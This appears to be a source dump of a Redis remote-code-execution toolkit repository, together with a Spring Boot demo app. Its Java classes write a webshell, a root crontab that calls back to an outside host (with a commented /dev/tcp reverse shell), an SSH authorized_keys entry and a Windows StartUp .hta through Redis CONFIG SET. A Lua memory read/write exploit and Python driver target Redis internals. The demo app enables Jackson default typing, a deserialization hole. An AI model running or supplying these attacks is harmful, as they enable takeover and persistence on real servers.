import java.lang.reflect.Method; 23 | import java.time.Duration; 24 | import java.util.HashMap; 25 | import java.util.HashSet; 26 | import java.util.Map; 27 | import java.util.Set; 28 | 29 | /** 30 | * @author 浅蓝 31 | * @email blue@ixsec.org 32 | * @since 2020/4/9 17:03 33 | */ 34 | @Configuration 35 | @EnableCaching 36 | public class RedisConfig extends CachingConfigurerSupport { 37 | 38 | 39 | 40 | /** 41 | * json序列化 42 | * @return 43 | */ 44 | @Bean 45 | public RedisSerializer jackson2JsonRedisSerializer() { 46 | //使用Jackson2JsonRedisSerializer来序列化和反序列化redis的value值 47 | Jackson2JsonRedisSerializer serializer = new Jackson2JsonRedisSerializer(Object.class); 48 | 49 | ObjectMapper mapper = new ObjectMapper(); 50 | mapper.setVisibility(PropertyAccessor.ALL, JsonAutoDetect.Visibility.ANY); 51 | mapper.enableDefaultTyping(ObjectMapper.DefaultTyping.NON_FINAL); 52 | serializer.setObjectMapper(mapper); 53 | return serializer; 54 | } 55 | 56 | @Bean 57 | public RedisTemplate redisTemplate(LettuceConnectionFactory lettuceConnectionFactory) { 58 | //StringRedisTemplate的构造方法中默认设置了stringSerializer 59 | RedisTemplate template = new RedisTemplate<>(); 60 | //set key serializer 61 | StringRedisSerializer stringRedisSerializer = new StringRedisSerializer(); 62 | template.setKeySerializer(stringRedisSerializer); 63 | template.setHashKeySerializer(stringRedisSerializer); 64 | 65 | 66 | //set value serializer 67 | template.setDefaultSerializer(jackson2JsonRedisSerializer()); 68 | 69 | template.setConnectionFactory(lettuceConnectionFactory); 70 | template.afterPropertiesSet(); 71 | return template; 72 | } 73 | 74 | @Bean 75 | public StringRedisTemplate stringRedisTemplate(LettuceConnectionFactory lettuceConnectionFactory) { 76 | StringRedisTemplate template = new StringRedisTemplate(); 77 | template.setConnectionFactory(lettuceConnectionFactory); 78 | return template; 79 | } 80 | /** 81 | * 在使用@Cacheable时，如果不指定key，则使用找个默认的key生成器生成的key 82 | * 83 | */ 84 | @Override 85 | @Bean 86 | public SimpleKeyGenerator keyGenerator() { 87 | return new SimpleKeyGenerator() { 88 | 89 | @Override 90 | public Object generate(Object target, Method method, Object... params) { 91 | StringBuilder sb = new StringBuilder(); 92 | sb.append(target.getClass().getName()); 93 | sb.append(".").append(method.getName()); 94 | 95 | StringBuilder paramsSb = new StringBuilder(); 96 | for (Object param : params) { 97 | // 如果不指定，默认生成包含到键值中 98 | if (param != null) { 99 | paramsSb.append(param.toString()); 100 | } 101 | } 102 | 103 | if (paramsSb.length() > 0) { 104 | sb.append("_").append(paramsSb); 105 | } 106 | return sb.toString(); 107 | } 108 | 109 | }; 110 | 111 | } 112 | 113 | /** 114 | * 管理缓存 115 | * 116 | * @param lettuceConnectionFactory 117 | * @return 118 | */ 119 | //缓存管理器 120 | @Bean 121 | public CacheManager cacheManager(LettuceConnectionFactory lettuceConnectionFactory) { 122 | // 生成一个默认配置，通过config对象即可对缓存进行自定义配置 123 | RedisCacheConfiguration config = RedisCacheConfiguration.defaultCacheConfig(); 124 | 125 | // 设置缓存的默认过期时间，也是使用Duration设置 126 | config = config.entryTtl(Duration.ofMinutes(1)) 127 | // 设置 key为string序列化 128 | .serializeKeysWith(RedisSerializationContext.SerializationPair.fromSerializer(new StringRedisSerializer())) 129 | // 设置value为json序列化 130 | .serializeValuesWith(RedisSerializationContext.SerializationPair.fromSerializer(jackson2JsonRedisSerializer() )) 131 | // 不缓存空值 132 | .disableCachingNullValues(); 133 | 134 | // 设置一个初始化的缓存空间set集合 135 | Set cacheNames = new HashSet<>(); 136 | cacheNames.add("company_goods_info"); 137 | 138 | // 对每个缓存空间应用不同的配置 139 | Map configMap = new HashMap<>(); 140 | configMap.put("company_goods_info", config); 141 | 142 | // 使用自定义的缓存配置初始化一个cacheManager 143 | RedisCacheManager cacheManager = RedisCacheManager.builder(lettuceConnectionFactory) 144 | // 一定要先调用该方法设置初始化的缓存名，再初始化相关的配置 145 | .initialCacheNames(cacheNames) 146 | .withInitialCacheConfigurations(configMap) 147 | .build(); 148 | return cacheManager; 149 | } 150 | } -------------------------------------------------------------------------------- /redis-springboot/src/main/java/cn/b1ue/redis/springboot/controller/TestController.java: -------------------------------------------------------------------------------- 1 | package cn.b1ue.redis.springboot.controller; 2 | 3 | import cn.b1ue.redis.springboot.entity.User; 4 | import org.springframework.beans.factory.annotation.Autowired; 5 | import org.springframework.data.redis.core.RedisTemplate; 6 | import org.springframework.stereotype.Controller; 7 | import org.springframework.web.bind.annotation.GetMapping; 8 | import org.springframework.web.bind.annotation.RequestMapping; 9 | import org.springframework.web.bind.annotation.ResponseBody; 10 | import org.springframework.web.bind.annotation.RestController; 11 | 12 | /** 13 | * @author 浅蓝 14 | * @email blue@ixsec.org 15 | * @since 2020/4/9 16:59 16 | */ 17 | @Controller 18 | public class TestController { 19 | 20 | @Autowired 21 | private RedisTemplate redisTemplate; 22 | 23 | @RequestMapping("login") 24 | public String login(User user){ 25 | long l = System.currentTimeMillis(); 26 | String key = user.getUsername(); 27 | user.setLastLoginTime(String.valueOf(l)); 28 | redisTemplate.opsForValue().set(key,user); 29 | return "redirect:home?username="+user.getUsername(); 30 | } 31 | 32 | @RequestMapping("home") 33 | @ResponseBody 34 | public String home(String username){ 35 | Object o = redisTemplate.opsForValue().get(username); 36 | return o.toString(); 37 | } 38 | 39 | 40 | } 41 | -------------------------------------------------------------------------------- /redis-springboot/src/main/java/cn/b1ue/redis/springboot/entity/User.java: -------------------------------------------------------------------------------- 1 | package cn.b1ue.redis.springboot.entity; 2 | 3 | /** 4 | * @author 浅蓝 5 | * @email blue@ixsec.org 6 | * @since 2020/4/9 17:01 7 | */ 8 | public class User { 9 | 10 | private String username; 11 | private String password; 12 | private String lastLoginTime; 13 | 14 | public String getPassword() { 15 | return password; 16 | } 17 | 18 | public void setPassword(String password) { 19 | this.password = password; 20 | } 21 | 22 | public String getUsername() { 23 | return username; 24 | } 25 | 26 | public void setUsername(String username) { 27 | this.username = username; 28 | } 29 | 30 | public String getLastLoginTime() { 31 | return lastLoginTime; 32 | } 33 | 34 | public void setLastLoginTime(String lastLoginTime) { 35 | this.lastLoginTime = lastLoginTime; 36 | } 37 | 38 | @Override 39 | public String toString() { 40 | return "User{" + 41 | "username='" + username + '\'' + 42 | ", password='" + password + '\'' + 43 | ", lastLoginTime='" + lastLoginTime + '\'' + 44 | '}'; 45 | } 46 | } 47 | -------------------------------------------------------------------------------- /redis-springboot/src/main/resources/application.yml: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/redis-rce/100d35284c52a93fcbf2d8ad50d270cda3e1bece/redis-springboot/src/main/resources/application.yml -------------------------------------------------------------------------------- /src/main/java/cn/b1ue/redis/filewrite/Webshell.java: -------------------------------------------------------------------------------- 1 | package cn.b1ue.redis.filewrite; 2 | 3 | import redis.clients.jedis.Jedis; 4 | 5 | /** 6 | * @author 浅蓝 7 | * @email blue@ixsec.org 8 | * @since 2020/4/3 14:45 9 | */ 10 | public class Webshell { 11 | 12 | public static void main(String[] args) { 13 | 14 | Jedis jedis = new Jedis("127.0.0.1", 6379); 15 | //jedis.flushAll(); //此方法会删除redis的所有数据，不要在生产环境调用此方法 16 | jedis.set("x", "\n\n\n\n"); 17 | jedis.configSet("dir","/home/web/wwwroot/"); 18 | jedis.configSet("dbfilename","x.php"); 19 | jedis.save(); 20 | jedis.close(); 21 | 22 | } 23 | 24 | } 25 | -------------------------------------------------------------------------------- /src/main/java/cn/b1ue/redis/filewrite/linux/Crontab.java: -------------------------------------------------------------------------------- 1 | package cn.b1ue.redis.filewrite.linux; 2 | 3 | import redis.clients.jedis.Jedis; 4 | 5 | /** 6 | * @author 浅蓝 7 | * @email blue@ixsec.org 8 | * @since 2020/4/2 22:57 9 | */ 10 | public class Crontab { 11 | 12 | public static void main(String[] args) { 13 | 14 | 15 | Jedis jedis = new Jedis("192.168.91.147", 6379); 16 | //jedis.flushAll(); //此方法会删除redis的所有数据，不要在生产环境调用此方法 17 | //jedis.set("x", "\n\n* * * * * /bin/bash -i >& /dev/tcp/192.168.91.1/9999 0>&1\n\n"); 18 | jedis.set("x", "\n\n* * * * * curl 192.168.91.1:9999\n\n"); 19 | jedis.configSet("dir","/var/spool/cron/crontabs/"); 20 | jedis.configSet("dbfilename","root"); 21 | jedis.save(); 22 | 23 | jedis.close(); 24 | 25 | 26 | } 27 | 28 | } 29 | -------------------------------------------------------------------------------- /src/main/java/cn/b1ue/redis/filewrite/linux/SSHKey.java: -------------------------------------------------------------------------------- 1 | package cn.b1ue.redis.filewrite.linux; 2 | 3 | import redis.clients.jedis.Jedis; 4 | 5 | /** 6 | * @author 浅蓝 7 | * @email blue@ixsec.org 8 | * @since 2020/4/3 14:49 9 | */ 10 | public class SSHKey { 11 | 12 | public static void main(String[] args) { 13 | 14 | String key = "ssh-rsa AAAAA3NzaC1yc2EAAAADAQABAABBAQDL3yB17Wkg9HXk0mPj00g3D6Ps+o+NEL2xneDonJGxzOkV6pGBnL7fy2Z1QbjET9FU3n3E7ixOoRgyI3ZifXcVOi3ADX/4oQHQuEuIXh3cGI/B96hGk6voMIFZ96E4MRz4iTsTX3KqgyXfvFgy6j9U60ybV+R3uM9r4QjDN9OfNNwCRh5zWxNDSmuakXZILmJmtCgMSjQZU7bjbsdlQqn24kiJkAT8r8YN9dL5+E+vfj/TQpfuhDK+0++LUv5Ax7J2uIQ7hXwGpHkaUDDUk8njn4SesBzLQ5PovLTcXHla6kl7pGI/bZ/T+1PUSrIeaG3nzpwwGaI4CH7xf/J9R2jN blue@ixsec.org"; 15 | 16 | Jedis jedis = new Jedis("192.168.91.147", 6379); 17 | //jedis.flushAll(); //此方法会删除redis的所有数据，不要在生产环境调用此方法 18 | jedis.set("x", "\n\n"+key+"\n\n"); 19 | jedis.configSet("dir","/root/.ssh/"); 20 | jedis.configSet("dbfilename","authorized_keys"); 21 | jedis.save(); 22 | jedis.close(); 23 | 24 | } 25 | 26 | } 27 | -------------------------------------------------------------------------------- /src/main/java/cn/b1ue/redis/filewrite/win/StartUp.java: -------------------------------------------------------------------------------- 1 | package cn.b1ue.redis.filewrite.win; 2 | 3 | import redis.clients.jedis.Jedis; 4 | 5 | /** 6 | * @author 浅蓝 7 | * @email blue@ixsec.org 8 | * @since 2020/4/2 20:10 9 | */ 10 | public class StartUp { 11 | 12 | public static void main(String[] args) { 13 | Jedis jedis = new Jedis("127.0.0.1", 6379); 14 | //jedis.flushAll(); //此方法会删除redis的所有数据，不要在生产环境调用此方法 15 | jedis.set("x", "\n"); 16 | jedis.configSet("dir","C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp"); 17 | jedis.configSet("dbfilename","exp.hta"); 18 | jedis.save(); 19 | 20 | jedis.close(); 21 | 22 | } 23 | 24 | } 25 | -------------------------------------------------------------------------------- /src/main/java/cn/b1ue/redis/lua/LuaRCE.java: -------------------------------------------------------------------------------- 1 | package cn.b1ue.redis.lua; 2 | 3 | import java.io.IOException; 4 | 5 | /** 6 | * @author 浅蓝 7 | * @email blue@ixsec.org 8 | * @since 2020/4/8 21:45 9 | */ 10 | public class LuaRCE { 11 | 12 | public static void main(String[] args) throws IOException { 13 | 14 | Runtime.getRuntime().exec("python redis_lua.py"); 15 | 16 | Runtime.getRuntime().exec("redis-cli.exe -h 192.168.91.137 -x eval \"tonumber('id', 8)\" 0\n"); 17 | 18 | } 19 | 20 | } 21 | -------------------------------------------------------------------------------- /src/main/java/cn/b1ue/redis/lua/lua_scripts.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf-8 -*- 2 | readmem = r''' 3 | local TSTRING = 0x4 local TNUMBER = 0x3 local TTABLE = 0x5 local TPROTO = 0x9 4 | local function b(x) return string.char(x) end 5 | local function ub(x, y) 6 | local str = '' 7 | for i = 1,y,1 do 8 | local n = x % 256 9 | str = str .. b(n) 10 | x = (x - n) / 256 11 | end 12 | return str 13 | end 14 | local function unpack32bit(x, fmt) 15 | local tb = {} 16 | local rt = {} 17 | for i = 1, 4 do 18 | local n = x % 256 19 | tb[i] = n 20 | x = (x - n) / 256 21 | end 22 | local y = 1 23 | for i = 1, #fmt do 24 | if fmt[i] == 1 then 25 | rt[i] = tb[y] 26 | y = y + 1 27 | end 28 | if fmt[i] == 2 then 29 | rt[i] = tb[y] + tb[y + 1] * 256 30 | y = y + 2 31 | end 32 | if fmt[i] == 4 then 33 | return {x} 34 | end 35 | end 36 | return rt 37 | end 38 | local forloop = loadstring((string.dump(function(x) 39 | for i = x, x, 0 do 40 | return i 41 | end 42 | end):gsub("\96%z%z\128", "\22\0\0\128"))) 43 | local function f2u(x) 44 | if x == nil then return 0, 0 end 45 | if x == 0 then return 0, 0 end 46 | if x < 0 then x = -x end 47 | local e_lo, e_hi, e, m = -1075, 1023 48 | while true do 49 | e = (e_lo + e_hi) 50 | e = (e - (e % 2)) / 2 51 | m = x / 2^e 52 | if m < 0.5 then e_hi = e elseif 1 <= m then e_lo = e else break end 53 | end 54 | if e+1023 <= 1 then 55 | m = m * 2^(e+1074) 56 | e = 0 57 | else 58 | m = (m - 0.5) * 2^53 59 | e = e + 1022 60 | end 61 | local lo = m % 2^32 62 | m = (m - lo) / 2^32 63 | local hi = m + e * 2^20 64 | return lo, hi 65 | end 66 | local function u2f(lo, hi) 67 | local m = hi % 2^20 68 | local e = (hi - m) / 2^20 69 | m = m * 2^32 + lo 70 | if e ~= 0 then 71 | m = m + 2^52 72 | else 73 | e = 1 74 | end 75 | return m * 2^(e-1075) 76 | end 77 | local function addrof(x) 78 | return f2u(forloop(x)) 79 | end 80 | redis["addrof"] = function(x) 81 | return f2u(forloop(x)) 82 | end 83 | redis["msg"] = "" 84 | local function pushmsg(msg) 85 | redis["msg"] = redis["msg"] .. msg .. "\r\n" 86 | end 87 | local function ub4(x) 88 | return ub(x, 4) 89 | end 90 | local function ub8(x) 91 | return ub(x, 8) 92 | end 93 | local function saddrof(x) 94 | return addrof(x) + 0x18 95 | end 96 | local function TValue(n, tt) 97 | return ub8(n) .. ub4(tt) 98 | end 99 | local function TNumber(n) 100 | return TValue(n, TNUMBER) 101 | end 102 | local function TString(size) 103 | return ub8(0) .. b(TSTRING) .. b(2) .. "\0\0\0\0\0\0" .. ub8(size) .. "TSTRING" 104 | end 105 | local function UpVal(tt, tv) 106 | return ub8(0) .. b(tt) .. b(2) .. "\0\0\0\0\0\0" .. ub8(tv) 107 | end 108 | local function Table() 109 | return ub8(0) .. b(TTABLE) .. b(2) .. "\0\0\0\0\0\0" .. ub8(0):rep(6) 110 | end 111 | local function Proto(k) 112 | local tb = {} 113 | return ub8(0) .. b(TPROTO) .. b(1) .. "\0\0\0\0\0\0" .. ub8(k) .. ub8(0):rep(16) .. "AAAABBBB" 114 | end 115 | redis["LC"] = function() 116 | local proto = Proto(saddrof(TNumber(0))) 117 | local upval = UpVal(TNUMBER, redis["mem_addr"]) 118 | return ub8(saddrof(Table())) .. ub8(saddrof(Proto)) .. ub8(0) .. ub8(saddrof(upval)) 119 | end 120 | local reader = loadstring(string.dump(function() 121 | local upval_1 = nil 122 | local LClosure = nil 123 | local function f0() 124 | local function f1() 125 | LClosure = redis["LC"]() 126 | end 127 | local function safe(v) 128 | redis["mem_chunk_l"], redis["mem_chunk_h"] = redis["addrof"](v) 129 | end 130 | f1() 131 | safe(upval_1) 132 | end 133 | f0() 134 | end):gsub("(\164%z%z%z)....", "%1\0\0\128\1", 1)) 135 | local function readmem(addr) 136 | redis["mem_addr"] = addr 137 | redis["mem_chunk_l"] = 0 redis["mem_chunk_h"] = 0 138 | reader() 139 | return redis["mem_chunk_l"], redis["mem_chunk_h"] 140 | end 141 | return {readmem(ARGV[1])} 142 | ''' 143 | 144 | writemem = r''' 145 | local TSTRING = 0x4 local TNUMBER = 0x3 local TTABLE = 0x5 local TPROTO = 0x9 146 | local function b(x) return string.char(x) end 147 | local function ub(x, y) 148 | local str = '' 149 | for i = 1,y,1 do 150 | local n = x % 256 151 | str = str .. b(n) 152 | x = (x - n) / 256 153 | end 154 | return str 155 | end 156 | local function unpack32bit(x, fmt) 157 | local tb = {} 158 | local rt = {} 159 | for i = 1, 4 do 160 | local n = x % 256 161 | tb[i] = n 162 | x = (x - n) / 256 163 | end 164 | local y = 1 165 | for i = 1, #fmt do 166 | if fmt[i] == 1 then 167 | rt[i] = tb[y] 168 | y = y + 1 169 | end 170 | if fmt[i] == 2 then 171 | rt[i] = tb[y] + tb[y + 1] * 256 172 | y = y + 2 173 | end 174 | if fmt[i] == 4 then 175 | return {x} 176 | end 177 | end 178 | return rt 179 | end 180 | local forloop = loadstring((string.dump(function(x) 181 | for i = x, x, 0 do 182 | return i 183 | end 184 | end):gsub("\96%z%z\128", "\22\0\0\128"))) 185 | local function f2u(x) 186 | if x == nil then return 0, 0 end 187 | if x == 0 then return 0, 0 end 188 | if x < 0 then x = -x end 189 | local e_lo, e_hi, e, m = -1075, 1023 190 | while true do 191 | e = (e_lo + e_hi) 192 | e = (e - (e % 2)) / 2 193 | m = x / 2^e 194 | if m < 0.5 then e_hi = e elseif 1 <= m then e_lo = e else break end 195 | end 196 | if e+1023 <= 1 then 197 | m = m * 2^(e+1074) 198 | e = 0 199 | else 200 | m = (m - 0.5) * 2^53 201 | e = e + 1022 202 | end 203 | local lo = m % 2^32 204 | m = (m - lo) / 2^32 205 | local hi = m + e * 2^20 206 | return lo, hi 207 | end 208 | local function u2f(lo, hi) 209 | local m = hi % 2^20 210 | local e = (hi - m) / 2^20 211 | m = m * 2^32 + lo 212 | if e ~= 0 then 213 | m = m + 2^52 214 | else 215 | e = 1 216 | end 217 | return m * 2^(e-1075) 218 | end 219 | local function addrof(x) 220 | return f2u(forloop(x)) 221 | end 222 | redis["addrof"] = function(x) 223 | return f2u(forloop(x)) 224 | end 225 | redis["msg"] = "" 226 | local function pushmsg(msg) 227 | redis["msg"] = redis["msg"] .. msg .. "\r\n" 228 | end 229 | local function ub4(x) 230 | return ub(x, 4) 231 | end 232 | local function ub8(x) 233 | return ub(x, 8) 234 | end 235 | local function saddrof(x) 236 | return addrof(x) + 0x18 237 | end 238 | local function TValue(n, tt) 239 | return ub8(n) .. ub4(tt) 240 | end 241 | local function TNumber(n) 242 | return TValue(n, TNUMBER) 243 | end 244 | local function TString(size) 245 | return ub8(0) .. b(TSTRING) .. b(2) .. "\0\0\0\0\0\0" .. ub8(size) .. "TSTRING" 246 | end 247 | local function UpVal(tt, tv) 248 | return ub8(0) .. b(tt) .. b(2) .. "\0\0\0\0\0\0" .. ub8(tv) 249 | end 250 | local function Table() 251 | return ub8(0) .. b(TTABLE) .. b(2) .. "\0\0\0\0\0\0" .. ub8(0):rep(6) 252 | end 253 | local function Proto(k) 254 | local tb = {} 255 | return ub8(0) .. b(TPROTO) .. b(1) .. "\0\0\0\0\0\0" .. ub8(k) .. ub8(0):rep(16) .. "AAAABBBB" 256 | end 257 | redis["LC"] = function() 258 | local proto = Proto(saddrof(TNumber(0))) 259 | local upval = UpVal(TNUMBER, redis["mem_addr"]) 260 | return ub8(saddrof(Table())) .. ub8(saddrof(Proto)) .. ub8(0) .. ub8(saddrof(upval)) 261 | end 262 | 263 | redis["LC1"] = function() 264 | local proto = Proto(saddrof(TNumber(0))) 265 | local adr = addrof(redis["memview"]) 266 | local tb = ub8(adr) .. b(TTABLE) .. b(2) .. "\0\0\0\0\0\0" .. ub8(adr + 16) .. ub8(adr + 24) .. ub8(adr + 32) .. ub8(0) .. ub8(0) .. ub4(1) 267 | local tv = TValue(saddrof(tb), TTABLE) 268 | local upval = UpVal(TSTRING, saddrof(tv)) 269 | return ub8(saddrof(Table())) .. ub8(saddrof(Proto)) .. ub8(0) .. ub8(saddrof(upval)) 270 | end 271 | local writer = loadstring(string.dump(function() 272 | local upval_1 = nil 273 | local LClosure = nil 274 | local function f0() 275 | local function f1() 276 | LClosure = redis["LC1"]() 277 | end 278 | local function safe(v) 279 | v[1] = redis["mem_addr"] 280 | redis["memview"][1] = redis["chunk_write"] 281 | v[1] = nil --设置table的node属性为0,防止调用垃圾回收机制时崩溃 282 | end 283 | f1() 284 | safe(upval_1) 285 | end 286 | f0() 287 | end):gsub("(\164%z%z%z)....", "%1\0\0\128\1", 1)) 288 | local function writemem(addr_l, addr_h, val_l, val_h) 289 | redis["memview"] = {0} 290 | redis["chunk_write"] = u2f(val_l, val_h) 291 | redis["mem_addr"] = u2f(addr_l, addr_h) 292 | writer() 293 | end 294 | writemem(ARGV[1], ARGV[2], ARGV[3], ARGV[4]) 295 | return 0 296 | ''' 297 | 298 | fillgot = r''' 299 | return tonumber("666", 8) 300 | ''' 301 | 302 | writetuple = r''' 303 | local TSTRING = 0x4 local TNUMBER = 0x3 local TTABLE = 0x5 local TPROTO = 0x9 304 | local function b(x) return string.char(x) end 305 | local function ub(x, y) 306 | local str = '' 307 | for i = 1,y,1 do 308 | local n = x % 256 309 | str = str .. b(n) 310 | x = (x - n) / 256 311 | end 312 | return str 313 | end 314 | local function unpack32bit(x, fmt) 315 | local tb = {} 316 | local rt = {} 317 | for i = 1, 4 do 318 | local n = x % 256 319 | tb[i] = n 320 | x = (x - n) / 256 321 | end 322 | local y = 1 323 | for i = 1, #fmt do 324 | if fmt[i] == 1 then 325 | rt[i] = tb[y] 326 | y = y + 1 327 | end 328 | if fmt[i] == 2 then 329 | rt[i] = tb[y] + tb[y + 1] * 256 330 | y = y + 2 331 | end 332 | if fmt[i] == 4 then 333 | return {x} 334 | end 335 | end 336 | return rt 337 | end 338 | local forloop = loadstring((string.dump(function(x) 339 | for i = x, x, 0 do 340 | return i 341 | end 342 | end):gsub("\96%z%z\128", "\22\0\0\128"))) 343 | local function f2u(x) 344 | if x == nil then return 0, 0 end 345 | if x == 0 then return 0, 0 end 346 | if x < 0 then x = -x end 347 | local e_lo, e_hi, e, m = -1075, 1023 348 | while true do 349 | e = (e_lo + e_hi) 350 | e = (e - (e % 2)) / 2 351 | m = x / 2^e 352 | if m < 0.5 then e_hi = e elseif 1 <= m then e_lo = e else break end 353 | end 354 | if e+1023 <= 1 then 355 | m = m * 2^(e+1074) 356 | e = 0 357 | else 358 | m = (m - 0.5) * 2^53 359 | e = e + 1022 360 | end 361 | local lo = m % 2^32 362 | m = (m - lo) / 2^32 363 | local hi = m + e * 2^20 364 | return lo, hi 365 | end 366 | local function u2f(lo, hi) 367 | local m = hi % 2^20 368 | local e = (hi - m) / 2^20 369 | m = m * 2^32 + lo 370 | if e ~= 0 then 371 | m = m + 2^52 372 | else 373 | e = 1 374 | end 375 | return m * 2^(e-1075) 376 | end 377 | local function addrof(x) 378 | return f2u(forloop(x)) 379 | end 380 | redis["addrof"] = function(x) 381 | return f2u(forloop(x)) 382 | end 383 | redis["msg"] = "" 384 | local function pushmsg(msg) 385 | redis["msg"] = redis["msg"] .. msg .. "\r\n" 386 | end 387 | local function ub4(x) 388 | return ub(x, 4) 389 | end 390 | local function ub8(x) 391 | return ub(x, 8) 392 | end 393 | local function saddrof(x) 394 | return addrof(x) + 0x18 395 | end 396 | local function TValue(n, tt) 397 | return ub8(n) .. ub4(tt) 398 | end 399 | local function TNumber(n) 400 | return TValue(n, TNUMBER) 401 | end 402 | local function TString(size) 403 | return ub8(0) .. b(TSTRING) .. b(2) .. "\0\0\0\0\0\0" .. ub8(size) .. "TSTRING" 404 | end 405 | local function UpVal(tt, tv) 406 | return ub8(0) .. b(tt) .. b(2) .. "\0\0\0\0\0\0" .. ub8(tv) 407 | end 408 | local function Table() 409 | return ub8(0) .. b(TTABLE) .. b(2) .. "\0\0\0\0\0\0" .. ub8(0):rep(6) 410 | end 411 | local function Proto(k) 412 | local tb = {} 413 | return ub8(0) .. b(TPROTO) .. b(1) .. "\0\0\0\0\0\0" .. ub8(k) .. ub8(0):rep(16) .. "AAAABBBB" 414 | end 415 | redis["LC"] = function() 416 | local proto = Proto(saddrof(TNumber(0))) 417 | local upval = UpVal(TNUMBER, redis["mem_addr"]) 418 | return ub8(saddrof(Table())) .. ub8(saddrof(Proto)) .. ub8(0) .. ub8(saddrof(upval)) 419 | end 420 | 421 | redis["LC1"] = function() 422 | local proto = Proto(saddrof(TNumber(0))) 423 | local adr = addrof(redis["memview"]) 424 | local tb = ub8(adr) .. b(TTABLE) .. b(2) .. "\0\0\0\0\0\0" .. ub8(adr + 16) .. ub8(adr + 24) .. ub8(adr + 32) .. ub8(0) .. ub8(0) .. ub4(1) 425 | local tv = TValue(saddrof(tb), TTABLE) 426 | local upval = UpVal(TSTRING, saddrof(tv)) 427 | return ub8(saddrof(Table())) .. ub8(saddrof(Proto)) .. ub8(0) .. ub8(saddrof(upval)) 428 | end 429 | local writer = loadstring(string.dump(function() 430 | local upval_1 = nil 431 | local LClosure = nil 432 | local function f0() 433 | local function f1() 434 | LClosure = redis["LC1"]() 435 | end 436 | local function safe(v) 437 | v[1] = redis["mem_addr"] 438 | redis["memview"][1] = redis["chunk_write"] 439 | v[1] = nil --设置table的node属性为0,防止调用垃圾回收机制时崩溃 440 | end 441 | f1() 442 | safe(upval_1) 443 | end 444 | f0() 445 | end):gsub("(\164%z%z%z)....", "%1\0\0\128\1", 1)) 446 | local function writemem(addr_l, addr_h, val_l, val_h) 447 | redis["memview"] = {0} 448 | redis["chunk_write"] = u2f(val_l, val_h) 449 | redis["mem_addr"] = u2f(addr_l, addr_h) 450 | writer() 451 | end 452 | collectgarbage("stop", 0) 453 | ''' 454 | 455 | -------------------------------------------------------------------------------- /src/main/java/cn/b1ue/redis/lua/redis-cli.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iSafeBlue/redis-rce/100d35284c52a93fcbf2d8ad50d270cda3e1bece/src/main/java/cn/b1ue/redis/lua/redis-cli.exe -------------------------------------------------------------------------------- /src/main/java/cn/b1ue/redis/lua/redis_lua.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding:utf-8 -*- 3 | import redis, struct, sys 4 | import lua_scripts as scripts 5 | 6 | class luaexp: 7 | def __init__(self, host, port): 8 | self.__conn = redis.Redis(host = host, port = port, db = 0) 9 | self.__ReadMemory = self.__conn.register_script(scripts.readmem) 10 | self.__WriteMemory = self.__conn.register_script(scripts.writemem) 11 | self.__FillGot = self.__conn.register_script(scripts.fillgot) 12 | self.__GotTable = [] 13 | def FillGot(self): 14 | print self.__FillGot() 15 | def ReadMemory(self, address): 16 | low, high = self.__ReadMemory(args = [address]) 17 | binary = struct.pack('I', low) + struct.pack('I', high) 18 | return binary 19 | def WriteMemoryEx(self, addr_low, addr_high, val_low, val_high): 20 | self.__WriteMemory(args=[addr_low, addr_high, val_low, val_high]) 21 | return 0 22 | def WriteMemory(self, addr, val): 23 | (lo, hi) = struct.unpack('II', struct.pack('Q', addr)) 24 | (vlo, vhi) = struct.unpack('II', struct.pack('Q', val)) 25 | return self.WriteMemoryEx(lo, hi, vlo, vhi) 26 | def ReadMemoryFmt(self, address, fmt): 27 | return struct.unpack(fmt, self.ReadMemory(address)) 28 | def ReadMemoryStr(self, address): 29 | binary = self.ReadMemory(address) 30 | try: 31 | idx = binary.index(chr(0)) 32 | return binary[0: idx] 33 | except ValueError, e: 34 | return binary 35 | def Find_DYNAMIC(self, base): 36 | #解析 Elf64_Ehdr 37 | (e_flags, e_ehsize, e_phentsize) = self.ReadMemoryFmt(base + 0x30, 'IHH') 38 | (e_phnum, e_shentsize, e_shnum, e_shstrndx) = self.ReadMemoryFmt(base + 0x38, 'HHHH') 39 | #解析 Elf64_Phdr[] 40 | for i in range(0, e_phnum): 41 | addr = base + e_ehsize + e_phentsize * i 42 | (p_type, p_flags) = self.ReadMemoryFmt(addr, 'II') 43 | if p_type == 2: #PT_DYNAMIC 44 | (p_vaddr,) = self.ReadMemoryFmt(addr + 0x10, 'Q') 45 | (p_memsz,) = self.ReadMemoryFmt(addr + 0x28, 'Q') 46 | return p_vaddr, p_memsz #返回地址和大小 47 | return 0 48 | def Find_tables(self, DYNAMIC, DYNAMIC_SZ): 49 | # extern Elf64_Dyn _DYNAMIC[]; 50 | #查找重定向表和字符表 51 | reltab = 0 52 | strtab = 0 53 | symtab = 0 54 | for i in range(0, DYNAMIC_SZ/0x10): 55 | print 'checking DYNAMIC item ', i 56 | addr = DYNAMIC + 0x10 * i #sizeof(Elf64_Dyn) = 0x10 57 | (d_tag,) = self.ReadMemoryFmt(addr, 'Q') 58 | if d_tag == 0: #DT_NULL 59 | break 60 | if d_tag == 5: #DT_STRTAB 61 | (d_ptr,) = self.ReadMemoryFmt(addr + 8, 'Q') 62 | strtab = d_ptr 63 | if d_tag == 6: #DT_SYMTAB 64 | (d_ptr,) = self.ReadMemoryFmt(addr + 8, 'Q') 65 | symtab = d_ptr 66 | if d_tag == 7: #DT_RELA 67 | (d_ptr,) = self.ReadMemoryFmt(addr + 8, 'Q') 68 | reltab = d_ptr 69 | return (reltab, strtab, symtab) #返回重定向表，字符表，符号表 70 | def Find_func(self, reltab, strtab, symtab, name): 71 | #解析Elf64_Sym[] 72 | for i in range(150, 250): #调整 73 | addr = reltab + 0x18 * i #sizeof(Elf64_Rela) = 0x18 74 | # define ELF64_R_SYM(i)((i) >> 32) 75 | # define ELF64_R_TYPE(i)((i) & 0xf f f f f f f f L) 76 | # define ELF64_R_INFO(s, t)(((s) << 32) + ((t) & 0xf f f f f f f f L)) 77 | (r_info,) = self.ReadMemoryFmt(addr + 8, 'Q') 78 | r_sym = r_info >> 32 79 | r_type = r_info & 0xffffffff 80 | if r_type != 7: 81 | continue 82 | 83 | (st_name, st_info, st_other, st_shndx) = self.ReadMemoryFmt(symtab + 0x18 * r_sym, 'IBBH') #sizeof(Elf64_Sym) = 0x18 84 | st_type = st_info & 0xf #低4位是符号类型信息 85 | 